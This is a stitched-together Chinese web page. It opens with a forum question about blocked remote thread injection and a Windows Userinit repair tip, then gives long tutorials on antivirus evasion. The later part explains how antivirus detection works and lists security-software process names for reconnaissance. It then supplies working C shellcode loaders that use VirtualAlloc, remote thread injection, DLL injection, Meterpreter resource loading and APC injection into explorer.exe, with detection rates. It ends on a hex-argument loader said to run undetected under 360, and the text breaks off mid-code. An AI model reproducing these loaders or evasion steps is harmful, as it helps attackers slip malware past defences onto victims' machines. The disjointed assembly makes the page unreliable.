最近360每天都提示:远程线程注入 被自动阻止,请问这个是木马病毒可以远程控制吗吗?我尝试了所有杀毒均没有查到

电脑开机,在点击用户名进入桌面加载个人设置时,就自动保存设置注销回到用户名界面,无法正常进入到系统。碰到这样的情况该如何解决?今天u大师教大家解决的方法。
如果这样的情况时在安装了了某个软件后才出现的,那么应该是注册表被篡改所致。解决方法如下:
1:使用U大师U盘启动盘制作工具将U盘制作成启动U盘;
2:在其他可以正常登陆系统的电脑中,从C:\\Windows\\system32目录中的拷贝userinit.exe文件到U盘。
3:使用启动U盘启动电脑进入pe系统,将文件拷贝的userinit.exe放在C:\\Windows\\system32里。
4:然后在PE中开始--运行--regedit展开HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon,找到Userinit键,把它的键值修改为C:\\Windows\\system32\\userinit.exe。
5:进入系统后立刻全盘杀毒,排除故障。
本文来源于:u大师u盘启动盘制作工具http://www.udashi.com/n/20130125/369.html
u大师
2013-01-29 上传
大小:11KB
}
在52pojie发表《xxxx》病毒查杀的帖子后,感谢论坛里的会员GleamJ牛不但指出我文章后所添加服务名字符串作为特征码方式的不足,还分享了他工作中4种提取特征码的方法。让我更加觉得要加紧时间学习,这样才不会被大牛甩得太远。弄清楚基本概念,以后吹水不致被嫌弃得太惨。嘿嘿!第1章 变脸免杀是一种反杀毒技术。它除了使病毒木马免于被查杀外,还可以扩增病毒木马的功能,改变病毒木马的行为;特征码其实是从反病毒领域引进的一个词,意指相应病毒或木马所持有的一段二进制码;免杀主要分为3种, 其中一种便是行为免杀,通过控制病毒木马的行为来达到躲过杀毒软件主动防御检测的目的。第2章
免杀基础知识2.1 什么是Ring0?计算机中有一个用于控制CPU完成各项功能的命令系统,它叫做“指令系统”,指令系统将指令分为特权指令与普通指令。对于一些危险的指令(即绝大部分特权指令),只允许操作系统及其相关模块使用,而普通的应用程序只能使用那些不会造成灾难的指令(即普通指令)。Intel的CPU将特权级别分为4层,它们分别是Ring0,Ring1,Ring2与Ring3。Ring0为底层,也就是所谓的“内核层”,它也是操作系统的底层;Ring3为最高层,也就是用户层。Ring0 只供操作系统使用(内核层)Ring3 谁都可以用(用户层)2.2 反病毒的工作原理反病毒软件一般由扫描器、病毒库与虚拟机组成,并由主程序将它们整合为一体。2.3 基于文件扫描的反病毒技术第一代扫描技术第一代扫描技术主要在文件中检索病毒特征序列。主要分为“字符串扫描技术”与“通配符扫描技术”(1)字符串扫描技术字符串扫描技术一般使用从病毒中提取出来的具有特征的一段字符来检测病毒,例如一个隐藏执行格式化所有硬盘的命令是不可能出现在普通程序里的。(2)通配符扫描技术此技术中的通配符可以理解为具有一定意义的符号,例如DOS命令里的“*”号就是代表任意长度、任意字符的通配符。扫描器中的通配符一般用于跳过某些字节或字节范围,而现在大多数的扫描器已经支持正则表达式了。yara这款工具就是支持特征码进行扫描的开源工具。(3)其他扫描技术
不匹配字节数扫描技术:允许字符串中有N个字节为任意值
通用检测法扫描技术:散列是一个常见的属于,这里指可以对特征码的首字节或第一个16位32位字节进行计算,从而允许字符串后面的字节包含通配符。
书签检测法:这是一种保证病毒检测与清除过程更加准确的方法。
首尾扫描检测法:通过只扫描文件头部和尾部而加快病毒检测速度的复杂方法。
入口点和固定点扫描:可以进一步提升防毒扫描工具检测速度的一种方法。
文件名扫描法:根据文件名及文件所在路径粗略判断此文件是否是病毒。
第二代扫描技术第二代扫描技术对检测精度给予了充分的重视,分别为“近似精确识别法”与”精确识别法“、”智能扫描法“、”骨架扫描法“。(1)智能扫描法智能扫描法会忽略检测文件中像NOP这样无意义的指令。(2)近似精确识别法近似精确法包含了若干种方法。下面是两种具有代表性的扫描技术
多套特征码:该方法采用两个或更多个字符集来检测每个病毒,如果扫描器检测到其中一个特征符合,那么就会警告发现变种,但不会执行下一步操作,例如清除病毒体或删除文件。如果多个特征码全部符合,则报警发现病毒,并执行下一步操作。
校验和:思路是让每一个无毒的文件生成一个校验和,等待下次扫描时再进行简单的校验和对比。如果校验和有所变化,再做进一步的扫描,否则就说明这个文件没有被感染。除此之外,某些安全产品还对病毒文件采取了分块校验的方式以提高准确性。
校验和简单来说就是通过对病毒中的某一段代码进行计算,从而得出一个值(例如123XY4),它与MD5文件校验有些相似。(3)骨架扫描法此方法既不用特征码,也不用校验和。而是通过逐行解析宏语句,并将所有非必要字符丢弃,只剩下代码的骨架,通过对代码骨架的分析,从而提高对变种病毒的检测能力。(4)精确识别法精确识别法是现今能够保证扫描器精确识别病毒变种的唯一方法,常与第一代扫描技术结合使用。精确识别法也是利用校验和技术,能够对整个病毒进行校验和计算来生成特征图。2.4 基于内存扫描的反病毒技术因为程序在运行后会将自身释放到内存中,释放后的文件结构与未执行的文件相比有较大的差异。被加载到内存就证明它要开始执行一些动作了,在病毒或木马初始化运行环境的时候,会让更多的可疑点暴露出来。反病毒厂商一般会为内存扫描组件单独定义一套新的特征码。2.5 基于行为监控的反病毒技术所谓的“行为”就是指一个应用程序运行后的操作。对于一个程序来说,如果按照某种顺序执行某一系列的操作,我们就将其成为“行为特征”。例如:以一个典型的木马程序为例,它可能执行的操作步骤如下:1)释放一些文件到系统关键目录中2)修改系统设置使这些新释放的文件可以启动3)删除自身2.6 基于新兴技术的反病毒技术
云查杀:可信继承,群策群力
云查杀的基本思路就是以服务器为脑,以所有用户的机器为触角,从而使得服务器可以随时知道每个用户的情况。如果其中某一个用户与其他用户对比发生了异常,那么服务器就会发出指令,让发生异常的机器检查出问题的所在,从而在这个问题干扰到其他用户之前将其扼杀掉。
典型例子是绝大多数的机器上都运行过QQ.EXE,那么当一个新加入的机器也试图运行QQ.EXE时,服务器就认为这是正常的。否则服务器就会发出相应指令让用户的机器去阻止其运行。
(1)可信继承
整个云的信任机制是非常复杂的结构,其中包含用户参与的信任评价体系、反病毒专业人员参与的样本分析信任体系、服务端自动判断信任体系,以及基于数字签名的认证信任体系等。
顶端的信任体系是由数字签名、样本分析构成的。凡是由可信进程开启的新进程都被认为是可信的。
例如:进程A是具有数字签名的根可信进程,那么它在被用户直接执行时就不会触发反病毒软件的任何操作,而且由A进程创建的新进程也会成为可信进程。如果进程B是一个非可信进程,那么它在被用户执行时就会受到严密的监控,如果它在执行期间有什么敏感操作,其样本马上就会被提交给服务器处理。
(2)群策群力
其中一台计算机上发现新病毒,那么它马上就会被提交到服务端,在服务端快速更新后,所有在云中的计算机就都获得了对这种病毒的免疫力。
(3)多引擎查杀
360安全卫士在病毒查杀模块就是使用了多款反病毒引擎。同时运用多个反病毒引擎扫描病毒,其扫描准确度会比单一反病毒引擎有所提高。
2.7 主动防御与云查杀这两项技术中最为强大的环节就在于代码仿真技术。“虚拟机扫描技术”的原理是通过一个虚拟机环境来仿真CPU和内存管理系统,从而模拟代码执行过程。当反病毒决定将某个程序放到虚拟机中运行时,首先要将可执行文件的内容读取到内存缓冲区中,然后将仿真器中一个庞大的Switch()语句对各个指令操作码进行逐一分析,最后执行。“文件流查杀”的原理是让病毒被人为地主动运行,当病毒运行时它会分析病毒释放到内存中的代码,直到病毒本来的代码被完全还原后才进行查杀,因此这种扫描算法虽不需要耗费大量的系统资源,却十分被动。第3章 PE文件- (书章 2.3)在windows系统中,凡是可以直接以二进制形式被系统加载执行的文件都是PE文件,例如.exe/.dll/.sys/.ocx等都遵循PE文件结构的约定,属于可执行文件。3.1 PE文件的结构PE文件由DOS文件头、DOS加载模块、PE文件头、区段表与区段5部分构成。整个程序以DOS文件头的MZ标志位开始的,也就是4D5A处。PE文件头的标准大小为224字节。区段表也称为节表,由.text、.data与.rsrc组成,在逆向过程中不同类型的程序区段表组成也是有所区别的。通过区段表名称我们可以大体猜出来这个区段里包含了些什么信息。第4章 免杀原理 - (书章 2.4)免杀的基本思想就是破坏特征码,文件特征码与内存特征码。4.1 文件免杀原理基于文件的免杀基本上就是破坏原有程序的特征。无论是修改特征码还是加上一段花指令还是加壳,目的就是为了打乱或加密可执行文件内部的数据。
改特征码免杀原理
第一种是将相对地址内的某句话改成别的就可以了,例如我文章中提到过的【Ghijkl Nopqrstu Wxy】这样的服务名改成其他的服务名。第二种是针对校验和查杀技术提出的免杀思想,在某篇帖子里提到的【在病毒文件内部选取两个位置(这两个位置可以是特色字符也可以是特色代码),计算这两段位置的哈希值作为特征。这种方法的好处是,不论选取多长的特征,那么最终生成的哈希值是固定的,这样就便于存储。】校验和也是根据病毒文件不同的区块计算出来的。如果一个文件某个特定区域的校验和符合病毒库中的特征,就会被杀毒软件报毒。只要对病毒的特定区域进行一定的更改,就会使这一区域的校验和改变,从而达到欺骗杀毒软件的目的。
花指令免杀原理
花指令是一段毫无意义的指令,花指令是否存在对程序的执行结果没有影响,它存在的唯一目的就是阻止反汇编程序或对反汇编设置障碍。这一章我理解为是汇编指令的变换。例如call指令,就是push一个地址,然后jmp到这个地址处。还有涉及到对堆栈的操作。例如 
push ebp
  mov ebp,esp
  add esp,-0C
// 堆栈中减去0C个字节
  add esp,0C
// 堆栈中推出0C个字节
  push eax
  jmp入口
以上代码就相当于啥都没有做。因为大多数反病毒软件是靠特征码判断文件是否有毒的,而为了提高精度,现在的特征码都是在一定偏移量限制之内的,否则会对反病毒软件的效率产生严重的影响。添加一段花指令后,程序的部分偏移会受到影响,如果反病毒软件不能识别这段花指令,那么它检测特征码的偏移量会整体位移一段位置,自然也就无法正常检测木马了。
加壳免杀原理
壳就是软件所增加的保护,并不会破坏里面的程序结构,当我们运行这个加壳的程序时,系统首先会运行程序里的壳,然后由壳将加密的程序逐步还原到内存中,最后运行程序。加密后的文件结构会发生变化,自然会改变原有文件偏移的特征码,那么反病毒软件也就会认为它是一个正常的文件了。4.2 内存免杀原理数据进入CPU之前会在内存中处理成可以直接被CPU执行的形式。所以反病毒公司会选择扫描内存的形式去查杀木马。因为将要被执行的程序肯定比未执行程序的威胁更大。再厉害的木马只要能保证它不被执行,它在用户的计算机中最多也就是算是一个垃圾文件,就不会对用户及网络构成任何威胁。大多数反病毒公司的内存扫描与文件扫描采用的不是同一套特征码,必须要将它们全部破坏掉才能躲过反病毒软件的查杀。对抗内存查杀,只要加一个混淆程序原有代码的“猛”壳,还是有几率能躲过杀毒软件的内存查杀。行为免杀原理从最早的“文件防火墙”发展到后来的“主动防御”,再到现在的部分“云查杀”,其实都应用了行为查杀技术。一个应用程序之所以被称为“病毒”或者“木马”,就是因为它们执行后的行为与普通软件不一样。【添加服务、创建驱动、释放资源、添加注册表、增加自启动、创建互斥体、遍历全硬盘的文件、远程线程注入、HOOK】等行为。第5章 壳的分类 - (书章 2.5.1)因为很多木马都是加过壳的,而且这些加壳后的木马已经被反病毒公司提取了特征,所以如果黑客们不能将其脱壳,也就无法进行有效的免杀。这章只对壳的分类原理进行总结
压缩壳
压缩壳的主要目的是压缩应用程序的体积,例如UPX可以将一般的应用程序压缩到原体积的30%左右。压缩壳并不会对被加壳程序本身做任何修改,而是直至将其换成一种更加节省空间的存储方式。经过压缩壳处理过的程序在真正被CPU执行前是会自动解压缩(解密)的。
加密壳
加密壳的主要目的是保护原程序不被破解,一般情况下,加密壳会对源程序进行一定的修改,例如代码乱序、代码混淆等。因此经过加密壳处理的程序即便是提交给CPU去执行,源程序的代码也还是发生了改变。
代码乱序
将本来线性执行的代码分成若干份后颠倒存储位置,再通过跳转指令将其按照正确的顺序连接起来。这样对于CPU来说其执行的程序逻辑没变,只是多了几条跳转指令。但是这段代码在硬盘上或内存中的组织排列方式却发生了很大的变化。
代码混淆
代码混淆的本质就是一条指令扩展为若干条指令,例如原本是一个计算“1+1”的代码,但是混淆后就变成了“1+10-9+0-0+1-1”,虽然结果一样,但是代码本身的代码甚至部分逻辑都发生了变化。
虚拟机保护壳
虚拟机保护壳的关键技术就在于实现了一个软件版本的CPU,被加密的可执行代码不再遵循Intel制定的OPCode标准了,而是执行由虚拟机作者本身制定的非公开的、动态的CPU指令编码解码标准,我们通常称之为TextCode。}
0x01、杀软查杀原理1、免杀的概念免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。 也就是我们常说的bypass AV2、杀软的分类免费版,对所有用户开放,例如:360安全卫士、360杀毒、火绒、电脑管家等等企业版,也是收费版,我们把他称为EDR,对比免费版,查杀更加严格,特别是针对于内存的查杀,比如:卡巴斯基、ESET(NOD32)等等3、杀软检测方式扫描技术扫描压缩包技术;对压缩文件进行分析检查的技术程序防窜改防护;保护程序避免被恶意程序修改修复技术;对恶意程序所破坏的文件还原智能扫描;扫描常用磁盘,系统关键位置,时间短全盘扫描;扫描电脑全盘文件,时间长勒索软件防护;保护电脑不受勒索软件的攻击开机扫描;电脑开机时自动扫描,可以扫描压缩文档和不需要的程序监控技术内存监控:当发现内存中存在病毒的时候,就会主动报警;监控所有进程;监控读取到内存中的文件;监控读取到内存的网络数据。文件监控:当发现写到磁盘上的文件中存在病毒,或者是被病毒感染,就会主动报警邮件监控:当发现电子邮件的附件存在病毒时进行拦截。office钓鱼
宏病毒 这种网页防护:阻止网络攻击和不安全下载。
mshta
js脚本行为防护:提醒用户可疑的应用程序行为。低危 和中云查杀(实质就是病毒库由客户端移至服务端,一般分为两种情况,例如360)客户端提取特征上传,在云端检测到对应特征所标明的是否病毒状态,并返回客户端上传特征,在云端无法检测到,则上传文件,文件通过杀软系统进行评判,得出总评分,对于无结果的,进行鉴定系统评分,总共得出结果返回给用户,并入云端库云查杀的特点基本也可以概括为特征查杀。4、扫描引擎特征码扫描**机制:将扫描信息与病毒数据库进行对比,病毒库是一直更新的,如果信息与其中的任何一个病毒特征符合,杀毒软件就会判断此文件被病毒感染。杀毒软件在进行查杀的时候,会挑选文件内部的一段或者几段代码来作为他识别病毒的方式,这种代码就叫做病毒的特征码;在病毒样本中,抽取特征代码;抽取的代码比较特殊,不大可能与普通正常程序代码吻合;抽取的代码要有适当长度,一方面维持特征代码的唯一性,另一方面保证病毒扫描时候不要有太大的空间与时间的开销。特征码识别:文件特征码:对付病毒在文件中的存在方式:单一文件特征码、复合文件特征码(通过多处特征进行判断);内存特征码:对付病毒在内存中的存在方式:单一内存特征码、复合内存特征码优点:速度快,配备高性能的扫描引擎;准确率相对比较高,误杀操作相对较少;很少需要用户参与。文件效验和法对文件进行扫描后,可以将正常文件的内容,计算其校验和,将该校验和写入文件中或写入别的文件中保存;在文件使用过程中,定期地或每次使用文件前,检查文件现在内容算出的校验和与原来保存的校验和是否一致,因而可以发现文件是否感染病毒。进程行为检测(沙盒模式)VT行为检测通过hook关键api,以及对各个高危的文件、组件做监控防止恶意程序对系统修改。只要恶意程序对注册表、启动项、系统文件等做操作就会触发告警。最后,行为检测也被应用到了沙箱做为动态检测,对于避免沙箱检测的办法有如下几个:延时执行,部分沙箱存在运行时间限制沙箱检测,对诸如硬盘容量、内存、虚拟机特征做检测部分沙箱会对文件重命名,可以检测自身文件名是否被更改主动防御主动防御并不需要病毒特征码支持,只要杀毒软件能分析并扫描到目标程序的行为,并根据预先设定的规则,判定是否应该进行清除操作
参考360的主动防御0x02 常见的绕过技术经典技术特征码免杀花指令免杀加壳免杀内存免杀分离免杀资源修改白名单免杀1、修改特征一个加载器存在两个明显的特征,一个是shellcode和硬编码字符串。我们需要消除这些特征,比较方便使用一个简单的异或加密就能消除shellcode的特征。第二个是加载器的关联特征也需要消除,通过加入无意义的代码干扰反病毒引擎。2、花指令免杀花指令其实就是一段毫无意义的指令,也可以称之为垃圾指令。花指令是否存在对程序的执行结果没有影响,所以它存在的唯一目的就是阻止反汇编程序,或对反汇编设置障碍。3、加壳免杀简单地说,软件加壳其实也可以称为软件加密(或软件压缩),只是加密(或压缩)的方式与目的不一样罢了。壳就是软件所增加的保护,并不会破坏里面的程序结构,当我们运行这个加壳的程序时,系统首先会运行程序里的壳,然后由壳将加密的程序逐步还原到内存中,最后运行程序。当我们运行这个加壳的程序时,系统首先会运行程序的“壳”,然后由壳将加密的程序逐步还原到内存中,最后运行程序。加壳虽然对于特征码绕过有非常好的效果,加密壳基本上可以把特征码全部掩盖,但是缺点也非常的明显,因为壳自己也有特征,主流的壳如VMP,
Themida等等。4、内存免杀shellcode直接加载进内存,避免文件落地,可以绕过文件扫描。但是针对内存的扫描还需对shellcode特征做隐藏处理。对windows来说,新下载的文件和从外部来的文件,都会被windows打上标记,会被优先重点扫描。而无文件落地可以规避这一策略。同时申请内存的时候采用渐进式申请,申请一块可读写内存,再在运行改为可执行。最后,在执行时也要执行分离免杀的策略。5、分离免杀即ShellCode和加载器分离。各种语言实现的都很容易找到,虽然看起来比较简单,但效果却是不错的。比如可以远程读取png中的shellcode。6、资源修改杀软在检测程序的时候会对诸如文件的描述、版本号、创建日期作为特征检测,可用restorator对目标修改资源文件。比如:加资源、替换资源、加签名等等7、白名单免杀利用一些系统自带的白程序加载payload,例如powershell、mshta等等...0x03
什么是shellcode?shellcode是一小段代码,用于利用软件漏洞作为有效载荷。它之所以被称为“shellcode”,是因为它通常启动一个命令shell,攻击者可以从这个命令shell控制受损的计算机,但是执行类似任务的任何代码都可以被称为shellcode。因为有效载荷(payload)的功能不仅限于生成shell简单来说:shellcode就是汇编,16进制例如,CS可以直接生成各种格式的shellcode0x04、shellcode免杀思路shellcode 字符串 加密处理
加密代码 解密代码
aes添加无危害的代码执行流程扰乱杀软分析
比如延迟执行代码
绕过沙箱分离免杀0x05
常见杀软进程常用命令 tasklist /SVG国内杀软:360全家桶、腾讯管家、火绒安全软件、安全狗、金山毒霸、电脑管家、瑞星等等...国外杀软:卡巴斯基、AVAST、AVG、科摩多、火眼、诺顿、nod32、小红伞等通过查看进程识别目标机器的杀软类型****360全家桶:360tray.exe、360safe.exe、360ZhuDongFangYu.exe、360sd.exe火绒:hipstray.exe、wsctrl.exe、usysdiag.exe安全狗:SafeDogGuarsdCenter.exe、safedogupdatecenter.exe、safedogguardcenter.exe瑞星:rstray.exe、ravmond.exe、rsmain.exe卡巴斯基:AVP.EXE小红伞:avfwsvc.exe、avgnt.exe、avguard.exe、avmailc.exe、avshadow.exeNOD32:egui.exe、eguiProxy.exe、ekrn.exe其他的一些杀软的进程,我们可以参考 avList项目https://github.com/wgetnz/avList0x06、几种常见的shellcode执行方式1、指针执行最常见的一种加载shellcode的方法,使用指针来执行函数#include <Windows.h>
#include <stdio.h>
unsigned char buf[] =
"你的shellcode";
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口
int main()
{
((void(*)(void)) & buf)();
}VT查杀率 26/682、申请动态内存加载申请一段动态内存,然后把shellcode放进去,随后强转为一个函数类型指针,最后调用这个函数#include <Windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口
int main()
{
char shellcode[] = "你的shellcode";
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
}VT查杀率 19/68,比指针执行稍微要好一点3、嵌入汇编加载
x86
x64 肯定x86#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口
unsigned char shellcode[] = "你的shellcode";
void main()
{
__asm
{
mov eax, offset shellcode
jmp eax
}
}VT查杀率 29/674、强制类型转换#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口
unsigned char buff[] = "你的shellcode";
void main()
{
((void(WINAPI*)(void)) & buff)();
}VT查杀率 29/675、汇编花指令和方法3差不多#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口
unsigned char xff[] = "你的shellcode";
void main()
{
__asm
{
mov eax, offset xff;
_emit 0xFF;
_emit 0xE0;
}
}VT查杀率 28/66以上五种是最常见的免杀方法,可见其效果不是很好。0x07、其他一些执行shellcocd的方法1、远程线程注入使用远程线程注入,我们需要使用4个主要函数:OpenProcess, VirtualAllocEx, WriteProcessMemory,CreateRemoteThread,在MSDN中我们可以函数的具体用法那么我们的整体思路就是打开远程进程的句柄(Pid)使用VirtualAllocEx在远程进程中分配具有读、写和执行必要权限的内存空间然后使用WriteProcessMemory将shellcode写入到内存缓冲区中最后通过调用CreateRemoteThread来创建线程,其中将指向程序集存根的指针作为要执行的函数,将指向远程shellcode的指针作为自变量最后的demo代码如下:#include "Windows.h"
#include <stdio.h>
int main(int argc, char* argv[])
{
unsigned char shellcode[] ="你的shellcode";
HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;
printf("Injecting to PID: %i", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE
MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle);
return 0;
}2、经典Dll注入经典DLL注入到远程进程中,根据上面远程进程注入的知识,写出简单的demo#include "Windows.h"
#include <stdio.h>
int main(int argc, char* argv[]) {
HANDLE processHandle;
PVOID remoteBuffer;
wchar_t dllPath[] = TEXT("你的DLL地址");
printf("Injecting DLL to PID: %i\n", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);
CloseHandle(processHandle);
return 0;
}3、资源加载shellcode在解决方案中直接添加资源文件,并对资源文件进行一个命名,我们需要记住这个资源的名字,然后使用**FindResource**来调用他加载shellcode代码如下:#include "pch.h"
#include <iostream>
#include <Windows.h>
#include "resource.h"
int main()
{
// IDR_METERPRETER_BIN1 - 资源ID 包含shellcode
// METERPRETER_BIN 是我们嵌入资源时选择的资源类型名称
HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_METERPRETER_BIN1), L"METERPRETER_BIN");
DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);
HGLOBAL shellcodeResouceData = LoadResource(NULL, shellcodeResource);
void *exec = VirtualAlloc(0, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcodeResouceData, shellcodeSize);
((void(*)())exec)();
return
0;
}4、APC注入APC注入可以让一个线程在它正常的执行路径运行之前执行一些其它的代码,每一个线程都有一个附加的APC队列,它们在线程处于可警告的时候才被处理(WaitForSingObjectEx,SleepEx)。如果程序在线程可警告等待状态时候排入一个APC队列,那么线程将开始执行APC函数,恶意代码则可以设置APC函数抢占可警告等待状态的线程。APC有两中存在形式:为系统和驱动生成的APC(内核APC)为应用程序生成的APC(用户APC)用户模式线程可利用QueueUserAPC排入一个让远程线程调用的函数,QueueUserAPC函数原型(MSDN):DWORD QueueUserAPC(
PAPCFUNC pfnAPC,
//指向一个用户提供的APC函数的指针(当指定线程执行可告警的等待时,将调用指向应用程序提供的APC函数的指针)
HANDLE
hThread,
//线程的句柄。句柄必须有THREAD_SET_CONTEXT访问权限
ULONG_PTR dwData
//指定一个被传到pfnAPC参数指向的APC函数的值一旦获取了线程ID,就可以利用其打开句柄,通过参数LoadLibraryA以及对应的参数dwData(dll名称),LoadLibraryA就会被远程线程调用,从而加载对应的恶意DLL。内核模式一种方法是在内核空间执行APC注入。恶意的驱动可创建一个APC,然后分配用户模式进程中的一个线程(最常见的是svchost.exe)运行它。这种类型的APC通常由shellcode组成。设备驱动利用两个主要的函数来使用APC:KeInitalizeApc和KeInsertQueueApc。需要两个函数来搭配使用,构造APC函数。KeInitalizeApc(初始化APC结构)KelnsertQueueAPC(将APC对象放入目标线程的APC队列中)KeInitalizeApc函数原型:KeInitializeApc(Apc,
&Thread->Tcb, //KTHREAD
OriginalApcEnvironment,//这个参数包含要被注入的线程
PspQueueApcSpecialApc,
NULL,
ApcRoutine,
UserMode,
//**
NormalContext); //**下面,我们利用APC注入来执行shellcode,那么我们的总体思路就是查找explorer.exe进程ID在explorer.exe进程的内存空间中分配内存将shellcode下入该内存位置在explorer.exe中找到所有线程将APC排队到所有这些线程中,APC指向shellcode当explorer.exe中的线程被调用时,我们的shellcode将被执行 找到要注入的进程并调用:explorer.exe,Process32First,Process32Nextif (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
Process32Next(snapshot, &processEntry);
}
}找到explorer的PID后,我们需要获取explorer.exe进程的句柄并且为shellcode分配一些内存,该shellcode会被写入资源管理器的进程内存空间,此外,声明一个APC例程,该例程现在执行该shellcodevictimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);接着,我们开始枚举 explorer.exe的所有线程,并将APC指向shellcodeif (Thread32First(snapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
}
for (DWORD threadId : threadIds) {
threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
Sleep(1000 * 2);
}上面我们说到了只有线程处于可警告的时候才被处理,为了使APC代码注入能够正常工作,排队APC的线程需要处于某种状态。DWORD SleepEx(
DWORD dwMilliseconds,
BOOL
bAlertable
);处于可警告状态代码立即被执行,处于不可警告状态,shellcode没有得到执行。由此我们的完整代码如下#include "pch.h"
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>
int main()
{
unsigned char buf[] = "你的shellcode";
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS
TH32CS_SNAPTHREAD, 0);
HANDLE victimProcess = NULL;
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
std::vector<DWORD> threadIds;
SIZE_T shellSize = sizeof(buf);
HANDLE threadHandle = NULL;
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
Process32Next(snapshot, &processEntry);
}
}
victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
if (Thread32First(snapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
}
for (DWORD threadId : threadIds) {
threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
Sleep(1000 * 2);
}
return 0;
}0x08 、编写免杀Loader上面几种方式的免杀效果不是特别好,因为我们没有对shellcode进行任何处理,我们可以根据上面我们提到的shellcode免杀思路,我们对shellcode进行编码或者分离免杀。这里我们直接编写一个分离免杀的加载器分离免杀Loader编写我们需要对shellcode进行hex编码,Loader通过参数的方式传递hex编码的shellcode到加载器,然后还原shellcode,这里需要注意:比如数组长度是892,那么他就是由shellcode[0]到shellcode[891]构成,后面加上一个终止符,此时strlen
(shellcode) = 892,sizeof (shellcode) = 893,所以计算长度的时候需要 a=
(sizeof(shellcode) -1),因为每两个字节为一组,所以我们在分配内存时,需要进行除二操作,比如bytes =
(sizeof(shellcode) - 1)/2
或者 bytes = strlen(shellcode)/2还原shellcodefor(unsigned int i = 0; i< iterations-1; i++) {
sscanf(shellcode+2*i, "%2X", &char_in_hex);
shellcode[i] = (char)char_in_hex;
}加载方式typedef void (*some_func)();
some_func func = (some_func)exec;
func();对于shellcode的转换,大家自行用python写个小脚本即可,或者使用K8飞刀进行转换把我们的加载器,丢到装了360和火绒的环境中,上线和执行命令均没有任何问题完整代码如下#include <stdio.h>
#include <Windows.h>
int main(int argc, char *argv[]) {
unsigned int char_in_hex;
char *shellcode = argv[1];
unsigned int iterations = strlen(shellcode);
unsigned int memory_allocation = strlen(shellcode) / 2;
for (unsigned int i = 0; i< iterations - 1; i++) {
sscanf(shellcode + 2 * i, "%2X", &char_in_hex);
shellcode[i] = (char)char_in_hex;
}
void *exec = VirtualAlloc(0, memory_allocation, MEM_RESERVE
MEM_COMMIT, PAGE_READWRITE);
memcpy(exec, shellcode, memory_allocation);
DWORD ignore;
